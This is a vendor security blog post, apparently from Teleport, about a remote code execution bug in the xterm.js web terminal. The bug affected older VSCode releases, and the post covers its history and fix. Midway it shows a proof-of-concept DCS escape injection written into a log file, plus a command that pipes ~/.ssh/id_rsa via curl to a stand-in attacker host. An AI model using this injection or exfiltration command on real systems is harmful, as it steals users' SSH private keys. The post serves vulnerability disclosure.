Underappreciated xterm bug resurfaces in xterm.js, exposing millions of VSCode users
Recently xterm.js, the web based terminal emulator Teleport uses, disclosed and patched a remote code execution (RCE) vulnerability that was found by Felix Wilhelm. As we were investigating the bug to learn about the scope and how it would affect Teleport users, we realized it’s actually a decade old xterm bug that has been re-implemented for the web terminals and remained unfixed for years. The bug was initially introduced in 2013 in term.js, the web terminal which xterm.js was forked from.
Perhaps one of the most popular products that uses xterm.js is Visual Studio Code which was ranked #1 editor in the 2018 Developers Survey. This means that millions of developers machines remain vulnerable if they are running vscode older than the Jan 8th 2019 release, version 1.30.2.
Terminals support more than just reading and writing of black and white text to the screen. They also support special control characters (commands) which tell the terminal what to do with respect to content, cursor, colors, as well as control.
Here are a few examples:
|Move the cursor up 3 lines.||
|Set green color.||
|Request terminal scroll region.||
In the above examples, the special command escape sequences follow a similar format. They start with
ESC, represented by
\x1b, which indicates that a command follows. This is how a terminal distinguishes text from control codes. Then control characters like
P indicate what command to run. After that follows the command’s parameters.
Device control string (DCS) commands, which are represented by the third example, ask a terminal to send back information about itself, thus initiating a request-response message exchange. Programs like vim may use these commands to request specific information from terminals. Support for these commands varies among modern emulated terminals, from partial support to simply ignoring commands.
In the case of xterm.js, when it encountered a DCS request with a parameter that it did not support, it would send a DCS response saying that the request was invalid. Because xterm.js did not properly sanitize the content of the DCS responses, it was possible to craft a “DCS + q” request with a parameter value containing an arbitrary string which would be written to an output when xterm.js replied to a response as shown below.
echo -e '\x1bP+q[MALICIOUS STRING]\x1b'
For those thinking what an attack vector for this type of attack could be, imagine you are logging some kind of user controlled input to a log file.
printf '\x1bP+q\n cat ~/.ssh/id_rsa | curl -H "Content-Type: application/text" -X POST -d @- https://attacker.localhost \n\x1b' > system.logs
If an attacker can coerce you to view that log file (perhaps making a support request)
$ cat system.logs
Then it could lead to a RCE where your ssh private keys stored in ~/.ssh/id_rsa will be sent to https://attacker.localhost by your terminal.
$ cat ~/.ssh/id_rsa | curl -H "Content-Type: application/text" -X POST -d @- https://attacker.localhost
The fix for this issue is fairly simple, since DCS + q requests are not widely supported by native terminals. The xterm.js developers mitigated this issue by completely ignoring this type of request.
As new software is written, old bugs frequently come back in different forms. In this case, Marco Ramilli found the same exact bug in the native xterm application in 2009.
While bugs are to a certain extent inevitable, it’s important to have robust processes around software so that it can be quickly updated and pushed to production environments. To that end, we have patched and fixed this issue in Teleport 3.1.3 so you can feel confident using its web terminal.
- SSH using Github team membership via OAuth2 + 2FA
- How to record SSH sessions with OpenSSH servers
- SSH into AWS using Github for RBAC